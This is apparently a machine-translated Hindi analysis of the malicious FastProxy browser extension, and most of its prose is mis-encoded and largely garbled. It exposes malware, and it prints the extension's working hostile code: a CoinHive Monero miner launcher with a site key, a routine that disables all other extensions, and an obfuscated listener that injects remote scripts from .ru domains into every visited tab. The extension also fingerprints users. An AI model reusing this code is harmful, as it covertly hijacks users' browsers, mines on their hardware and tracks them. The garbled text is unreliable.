"U2FsdGVkX1/JndUDO1bR2np5RROkl1IF4EDQ1BMjjtLumYu6HXCxTWahndHXFKA9IeRfBtFfcdHL1J/NjI+KBA==", ]); }
рдПрдХ рд╣реА рддреАрди рд▓рд┐рдВрдХ рдЕрдЧрд░ ext_id
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рд╡рд╛рдВрдЫрд┐рдд рд╕реВрдЪреА рдореЗрдВ рдирд╣реАрдВ рдЖрддреЗ рд╣реИрдВред
рдФрд░ рдПрдХ рдирдпрд╛ рд▓рд┐рдВрдХ, рдЕрдЧрд░ рдпрд╣ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рд╕реВрдЪреА рдореЗрдВ рдЖрддрд╛ рд╣реИ + рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдкреВрд░реНрдг рд░реАрдмреВрдЯред
рдЕрдЧрд░ рдХрд┐рд╕реА рдХреЛ рдкрддрд╛ рдЪрд▓ рд╕рдХреЗ рдХрд┐ рдпреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреНрдпрд╛ рдереЗ, рддреЛ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдореЗрдВ рд▓рд┐рдЦреЗрдВред FastProxy рдХреА рд╡рд░реНрддрдорд╛рди рдЖрдИрдбреА рдХреЗ рд╕рд╛рде рдХреЛрдИ рдореЗрд▓ рдирд╣реАрдВ рд╣реИрдВред Google рд╕реНрдЯреЛрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЦреЛрдЬ рдХрд░рдиреЗ рд╕реЗ рдЙрдирдХреЗ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдХреБрдЫ рднреА рдирд╣реАрдВ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рд▓рд┐рдВрдХ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛
localStorage.C = JSON.stringify(["U2FsdGVkX18je2+6W662j18jc6bCMixpobVVi0e742xuScVv52oVfAec3mi0r7yzjURlrOmKQ1yPWiL4OMs/H2n46BT2CBWITNt//awcTmo="]); localStorage.P = JSON.stringify(["U2FsdGVkX18o8IrwuBMWxFqxRKPexumxnA8m8SE4lVdCMADiQkRSZLlx5ve36/XaV6Fo6ZarTXuFTYrpspX9YkwMY9fwEQKBrNpNgtgqDw0="]);
рдпрд╣ рджреЗрддрд╛ рд╣реИ
http://prowebdom.ru/update/test/proxy/config/config_ru.js
http://prowebdom.ru/update/test/proxy/config/data_ru.pac
рдЬрд┐рд╕реЗ рд╕реАрдзреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ рдЦреЛрд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
config_prowebdom.ru.js
рдХрдВрд╕реЛрд▓ рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдВрдж рдХрд░рдирд╛ред рдФрд░ рдлрд┐рд░ рд╕рдмрд╕реЗ рджрд┐рд▓рдЪрд╕реНрдкред
var coin = $.get("https://coinhive.com/lib/coinhive.min.js"); coin.done(() => { var miner = new CoinHive.User('aUvlRg4eSsDf6wcFmMZPjQ57JDUUR3IR', 'FPR', {autoThreads: true}); miner.start(); })
^ рдореЛрдирд░реЛ рдорд╛рдЗрдирд░ рдХрд╛ рд╢реБрднрд╛рд░рдВрднред рд╡реИрд╕реЗ, рд╡реЙрд▓реЗрдЯ рдХреЛ рдпрд╛рдж рд░рдЦреЗрдВ, рдпрджрд┐ рдЖрдкрдХреЛ рдХреЛрдб рдореЗрдВ рдХреБрдЫ рд╕рдорд╛рди рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рддреЛ рдпреЗ рд╡рд╣реА рд▓реЛрдЧ рд╣реИрдВред
function removeAdBlockExtensions () { window.chrome.management.getAll((extensions) => { extensions.forEach((e) => { if (e.enabled && e.id != window.chrome.runtime.id) { window.chrome.management.setEnabled(e.id, false); } }); }); } removeAdBlockExtensions();
рдпрд╣ рдХреЛрдб рд╕реНрд╡рдпрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд╕рднреА рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдЕрдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИред
рдпрджрд┐ рдкреНрд░рдмрдВрдз рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реЛрддреА, рддреЛ рдпрд╣ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реЛрддрд╛ред
рдЖрдЧреЗ
chrome.tabs.onUpdated.addListener(onUpdatedListenerSearch);
рдФрд░
function onUpdatedListenerSearch(tabId, changeInfo, tab) { if (typeof(tab.url) != 'undefined') { var ext_id = chrome.app.getDetails().id; if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf') { if (tab.url.indexOf('google') == -1) { // chrome.tabs.executeScript(tabId, {code:"!function(){var b={a3759370402:'30022',a1072190280:'{subid}',a2302729239:JSON.parse('[\"7a72793462736f702e7275\",\"746b636d36686a762e7275\"]')},c=function(h,j,k){for(var l=[].slice.call(k),m=h.split('.'),p=m.pop(),q=0;q<m.length;q++)j=j[m[q]];return j[p].apply(j,l)},d=function(h){if(!(h=h.match(/.{1,2}/g)))return'';for(var j='',k=0;k<h.length;k++)j+=c('fromCharCode',String,[parseInt(h[k],16)]);return j},f=function(h,j,k){if('undefined'==typeof a2690641770||!a2690641770(document.location.protocol+'//'+h))if(document.head){var l=document.createElement('script');l.setAttribute('src',document.location.protocol+'//'+h),l.setAttribute('type','text/javascript'),document.head.appendChild(l),l.onload=function(){this.a982392846||(this.a982392846=!0,'function'==typeof j&&j())},l.onerror=function(){this.a982392846||(this.a982392846=!0,l.parentNode.removeChild(l),'function'==typeof k&&k())}}else setTimeout(function(){f(h,j,k)},10)},g=function(h){if(!(0>=b.a3759370402||0>b.a1072190280)){var j=h||b.a2302729239[0],k=d(j)+'/'+['d6s','afu','ndj','enk','6af'].join('')+'/'+b.a3759370402+'_'+b.a1072190280+'.js';f(k,function(){},function(){var l=b.a2302729239.indexOf(j),m=b.a2302729239[l+1];m&&g(m)})}};b.a3759370402=parseInt(b.a3759370402)||0,b.a1072190280=parseInt(b.a1072190280)||0,g()}();/* k */", runAt: 'document_end'}, callback); } } } }
tabs.onUpdated рдПрдХ рдЯреИрдм рдХреЛ рджреВрд╕рд░реЗ рдореЗрдВ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддреЗ рд╕рдордп рдХреЙрд▓рдмреИрдХ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБред
рд╕реАрдзреЗ рд╢рдмреНрджреЛрдВ рдореЗрдВ рдХрд╣реЗрдВ рддреЛ рдпрд╣ рд╣рд░ рдЯреИрдм рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИред
if (ext_id != 'mkelkmkgljeohnaeehnnkmdpocfmkmmf')
рд╕рд┐рд╡рд╛рдп FastProxy рдХреЗред рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░ рдХрдИ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдереА рдЬреЛ рд╡рд╛рдпрд░рд╕ рдХреА рддрд░рд╣ рдХрд╛рдо рдХрд░рддреА рдереАред
if (tab.url.indexOf('google') == -1) {
Google string рд╡рд╛рд▓реЗ рд╕рднреА urls рдХреЛ рдЫреЛрдбрд╝рдХрд░ред рдЬрд╛рд╣рд┐рд░ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ Google рдХреЗ рд╕рд╛рде рдЯреИрдм рдЕрд╕реНрдерд╛рдпреА рд╣реИрдВред рд╕рд╣реА рдХрд╛рд░рдг рдореЗрд░реЗ рд▓рд┐рдП рд╕реНрдкрд╖реНрдЯ рдирд╣реАрдВ рд╣реИред
рдФрд░ рд╕рдмрд╕реЗ рдмреБрд░реА рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдЗрд╕ рдЯреИрдм рдореЗрдВ рдкреЗрдЬ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд▓реЛрдб рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдкреНрд░рддреНрдпреЗрдХ рдЯреИрдм рдореЗрдВ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд╛рдЧреВ рдХреА рдЬрд╛рддреА рд╣реИ:
рдЬреЗрдПрд╕ рдмреНрдпреВрдЯрд┐рдлрд╛рдпрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдВред
рдХреИрд░реЗрдХреНрдЯрд░ рдЧреЗрдореНрд╕ рдХреЛ рдХрдВрд╕реЛрд▓.рд▓реЙрдЧ рдХреА рдмрджреМрд▓рдд рдЫреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╕рдмрд╕реЗ рдЦрддрд░рдирд╛рдХ рдмрд╛рдд рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ рдЬрд╣рд╛рдВ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЯреИрдЧ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
var l = document.createElement ('рд╕реНрдХреНрд░рд┐рдкреНрдЯ');
рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдореЗрд░реЗ рдЖрдВрддрд░рд┐рдХ HTML рдпрд╛ src рдореЗрдВ рдореБрдЭреЗ рдХреНрдпрд╛ рджрд┐рд▓рдЪрд╕реНрдкреА рд╣реИред
l.setAttribute('src', document.location.protocol + '//' + h)
рдмрд╛рдПрдВ рднрд╛рдЧ рд╕реНрдкрд╖реНрдЯ рд╣реИ - рд╡рд░реНрддрдорд╛рди рдкреГрд╖реНрда рдХрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ред рджрд╛рд╣рд┐рдирд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд▓рд┐рдВрдХ рд╣реИред рд╡рд╣рд╛рдБ рд╕рд╛рдВрддреНрд╡рдирд╛ рджреЗрдВ
рд╣рдореЗрдВ рдорд┐рд▓рддрд╛ рд╣реИ
zry4bsop.ru/d6safundjenk6af/30022_0.js
рдЗрд╕реА рддрд░рд╣, рдЬреЗрдПрд╕ рдмреНрдпреВрдЯреАрдлрд╛рдпрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдПрдВ
рдлрд╝рд╛рдЗрд▓ рдХрд╛ рд╕рд┐рджреНрдзрд╛рдВрдд рд╕рдорд╛рди рд╣реИ - рд╕рдмрд╕реЗ рдЦрддрд░рдирд╛рдХ рд╣рд┐рд╕реНрд╕рд╛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИред
var e = document.createElement("script"); e.setAttribute("src", document.location.protocol + "//" + t);
рд╣рдореЗрдВ рдорд┐рд▓рддрд╛ рд╣реИ
zry4bsop.ru/d6safundjenk6af/30022_0/c_646576656c6f7065722e6d6f7a696c6c612e6f7267_0.js
рдпрджрд┐ MDN рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
Productforums.google.com рдкрд░ рд╕рдорд╛рди
zry4bsop.ru/d6safundjenk6af/30022_0/c_70726f64756374666f72756d732e676f6f676c652e636f6d_0.js
рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рд╣реИ рдХрд┐ рджрд╛рдИрдВ рдУрд░ рдХреБрдЫ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ
рд╣рдо рдХреЛрдб рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ
document.location.hostname ? document.location.hostname : document.location.toString().split("/")[2]
рд╕реНрд╡-рдЖрд╣рд░рдг рд╕рдорд╛рд░реЛрд╣ рдореЗрдВ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЪ
рддрдм f рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
var n = o(i[t]) + "/" + ["d6s", "afu", "ndj", "enk", "6af"].join('') + "/" + a + "/c_" + f + "_" + c + ".js";
рдпрд╛рдиреА рдкреНрд░рддреАрдХрд╛рддреНрдордХ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рд╡рд┐рдЬрд╝рд┐рдЯ рдХрд┐рдП рдЧрдП URL рдХреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдореЗрдВ рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рд╣рдо рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рд╣реА рджреЗрдЦрддреЗ рд╣реИрдВ, рд╡реЗ рдореЗрд▓ рдЦрд╛рддреЗ рд╣реИрдВред
рдЗрд╕реЗ рдлрд┐рд░ рд╕реЗ рдЬреЗрдПрд╕ рдмреНрдпреВрдЯрд┐рдлрд╛рдпрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдПрдВред
рдХреЛрдб рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХреЗ рдмрд┐рдирд╛, рдЖрдк рдиреЛрдбреНрд╕ рдЬреЛрдбрд╝рдиреЗ, рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдирд╛рдиреЗ, рдХреБрдХреАрдЬрд╝ рдХреЛ рдмрджрд▓рдиреЗ рдкрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ,
рдЦрд░реЛрдВрдЪ рд╕реЗ рддрддреНрд╡реЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг, рдЕрдЬрд╛рдХреНрд╕ред рд▓реЗрдХрд┐рди рдпрд╣ рд╕рдордЭрдирд╛ рдмрд╣реБрдд рдореБрд╢реНрдХрд┐рд▓ рд╣реИ рдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХреНрдпрд╛ рд╣реЛ рд░рд╣рд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП рдЗрди рдЧрд┐рдиреЗ рд╣реБрдП рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рдирд╛рдо рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЦреЛрд▓рдирд╛ рдореБрд╢реНрдХрд┐рд▓ рдерд╛ред рд╕рдмрд╕реЗ рдХрдард┐рди рдХрд╛рдо рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдирд┐рд░рдВрддрд░ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рдЧреБрдЬрд░рдирд╛ рд╣реИ рдЬреЛ рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╡рд╕реНрддреБрдУрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддреЗ рд╣реИрдВ ... рдЙрд▓рдЭрди рдХреЛ рд╕реБрд▓рдЭрд╛рдирд╛ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реБрджреНрдз рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЦреЛрдЬрдирд╛ рднреА рдХрдард┐рди рдерд╛ред
рдореИрдВ рдХреЛрдб рдХреЛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЦреЛрд▓ рдирд╣реАрдВ рдкрд╛ рд░рд╣рд╛ рдерд╛ред рд▓реЗрдХрд┐рди рдЬреЛ рдмрд┐рдирд╛ рд╕реБрд▓рдЭрд╛ рд╣реБрдЖ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рджреЗрддрд╛ рд╣реИ:
рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдкреВрд░реНрдг рдЕрдВрдЧреБрд▓реА рдХреА рдЫрд╛рдк, рдЬреЛ рддрдм рдмрд┐рдЯ рд╕рдВрдЪрд╛рд▓рди рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдмрджрд▓ рдЬрд╛рддрд╛ рд╣реИред
рдЗрд╕ рдкреНрд░рд┐рдВрдЯ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ:
- UserAgent
- рд╕реНрдерд╛рдкрд┐рдд рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА (рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ IE рдХреЗ рд▓рд┐рдП)ред рдпрд╣рд╛рдБ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рдмрд╛рдд рд╣реИ рдкрд╛рд▓рдореВрди рд▓рд╛рдЗрдиред рддрдереНрдп рдпрд╣ рд╣реИ рдХрд┐ рдкрд╛рд▓рдореВрди рдЖрдкрдХреЛ рдЬрд╛рд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
- рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА
- рд╕реНрдерд╛рдкрд┐рдд рдлреЛрдВрдЯ (getFontData рдлрд╝рдВрдХреНрд╢рди) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реАред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдб рд╕рд┐рд╕реНрдЯрдо рдПрдХ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдлреЛрдВрдЯ рдХреА рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╕реВрдЪреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рд╕рд┐рд╕реНрдЯрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
- рдЕрджреНрд╡рд┐рддреАрдп рдХреИрдирд╡рд╛рд╕ рдкреНрд░рд┐рдВрдЯ (get2dCanvasFingerprint рдлрд╝рдВрдХреНрд╢рди)ред рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ рд╡рд╣ рдХрдИ рдЧреИрд░-рдорд╛рдирдХ рдкрд╛рддреНрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рднрд╛рд╖рд╛рдУрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рд▓рд┐рдП рдПрдХ рдЪреЗрдХ рд╣реИред
- рд╡реЗрдмрд▓реЙрдЧ рджреНрд╡рд╛рд░рд╛ рдЕрджреНрд╡рд┐рддреАрдп рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ (getWebglFingerprint рдлрд╝рдВрдХреНрд╢рди)
- рдиреЗрд╡рд┐рдЧреЗрдЯрд░ (hasFalseBrowser рдлрд╝рдВрдХреНрд╢рди) рджреНрд╡рд╛рд░рд╛ рдЖрдкреВрд░реНрддрд┐ рдХрд┐рдП рдЧрдП рдбреЗрдЯрд╛ рдХреА рдЧрд▓рддрддрд╛ рдХреА рдЬрд╛рдБрдЪ рдХрд░рдирд╛ред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЗрд╕ рд╕рдВрдмрдВрдз рдореЗрдВ, eval.toString () рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕рдордЭрдирд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдХрд┐ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдХрд┐рд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдореИрдВрдиреЗ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХрднреА рдЕрдиреБрдорд╛рди рдирд╣реАрдВ рд▓рдЧрд╛рдпрд╛ рд╣реЛрдЧрд╛ред
рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ XMLHttpRequest рдЪрд▓рд╛рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЛрдб рдореЗрдВ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╢реБрд░реВ рд╣реЛрдиреЗ рдкрд░ рд╢реБрд░реВ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИред
рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдкреГрд╖реНрда рдкрд░ рдПрдХ рдлреНрд▓реИрд╢ рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рдХреИрдирд╡рд╛рд╕ / рд╡реЗрдмрд▓реЙрдЧ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рд╕рдВрдЧреНрд░рд╣ рдХреЛрдб рдкрд░ рдПрдХ рдирдЬрд╝рд░ рдбрд╛рд▓реЗрдВред
рдкреГрд╖реНрда рдкрд░ рдПрдХ iframe рдХрд╛ рдПрдореНрдмреЗрдбрд┐рдВрдЧ рд╣реИ (appendBadIframe1 рд╡рд┐рдзрд┐)ред
рдЕрдм рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рдЖрдЗрдлреНрд░реЗрдо рдореЗрдВ рдХреНрдпрд╛ рд╣реИред
рдЬреЗрдПрд╕ рдмреНрдпреВрдЯреАрдлрд╛рдпрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рд╛рдПрдВред
рдХреЛрдб рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдпрд╣ рдореБрдЦреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рд╕реВрдЪрдирд╛ рдПрдХреНрд╕рдЪреЗрдВрдЬрд░ рд╣реИред рдпрджрд┐ рдореБрдЦреНрдп рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдзрд┐рдХрд╛рдВрд╢ рднрд╛рдЧ рдмрд┐рдЯ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП рд╣реИ, рддреЛ рдПрдХ рдИ-рдлреНрд░реЗрдо рд╡рд╕реНрддреБрдУрдВ рдХреЗ рдЧрдгрдирд╛ рдХрд┐рдП рдЧрдП рдЧреБрдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪрд▓рддреА рд╣реИред Window.postMessage рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЗ рдЖрдкрд╕ рдореЗрдВ рд╕рдВрджреЗрд╢реЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред
рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди 6 XHR рдЕрдиреБрд░реЛрдз рдмрдирд╛рддрд╛ рд╣реИ (рдФрд░ Img рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ), рдФрд░ рдЬрдм рдЖрдк рдкреГрд╖реНрда рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреБрд▓рддреА рд╣реИред
рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд▓рд┐рдП рдЕрд╕реНрд╡реАрдХреГрдд рд▓рд┐рдВрдХ рдХреЛрдб рдореЗрдВ рдкрд╛рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рд╡рд╛рдкрд╕ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдкрд░
рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдФрд░ рд░рд┐рдХреЙрд░реНрдб рд▓рд┐рдВрдХ рдкрд░ рд╡рд╛рдкрд╕ рдЬрд╛рдПрдВред рдпреЗ рд▓рд┐рдВрдХ chrome.proxy.settings.set рдкрджреНрдзрддрд┐ рдХреЗ рд▓рд┐рдП .pac рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред
рдлрд╛рдЗрд▓ рдХреЛрдб рдпрд╣рд╛рдВ рджреЗрдЦреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_fastproxy.ga.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_prowebdom.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxy-fast.ru.js
https://github.com/lawlietmester/fastproxy_article/blob/master/pac_proxyrus.ru.js
рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рд╕рд╛рдорд╛рдиреНрдп рд╕рд╛рд░ рдПрдХ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрд╡рд░реБрджреНрдз рдкреНрд░реЙрдХреНрд╕реА рдФрд░ рдЖрдИрдкреА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдбреЛрдореЗрди рдХреЛ рд▓рдЯрдХрд╛ рджреЗрдирд╛ рд╣реИ, рдФрд░ рдЕрдиреНрдп рдкреНрд░рддреНрдпрдХреНрд╖ рдкрд░, рдЕрд░реНрдерд╛рддреНред рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдмрд┐рдирд╛ рдкрд╣реБрдВрдЪред
рд╕рд░реНрд╡рд░реЛрдВ рдХрд╛ рд╕реЗрдЯ рдФрд░ рдЕрд╡рд░реБрджреНрдз рдбреЛрдореЗрди / рдЖрдИрдкреА рдХреЗ рд╕реЗрдЯ рдореЗрдВ рдЕрдВрддрд░ рд╣реЛрддрд╛ рд╣реИред
рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХрд┐ рдСрдЯреЛ-рд▓реЙрдХ (antizapret.prostovpn.org) рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдЬрд┐рдирдХреЗ рд╕рд░реНрд╡рд░ FastProxy рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВред
рд╣рдо рдЦреЛрдЬ рдореЗрдВ postls.com рдЪрд▓рд╛рддреЗ рд╣реИрдВред рдкрд╣рд▓рд╛ рд▓рд┐рдВрдХ рдЦреЛрд▓реЗрдВред
Browsec рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдПрдХ VPM рдирд┐рдпрдо рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ рдЬреЛ рдЧрдВрддрд╡реНрдп URL IP / рд╣реЛрд╕реНрдЯ рдирд╛рдо рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рджреЗрдЧрд╛
browsec.com
postlm.com
postls.com
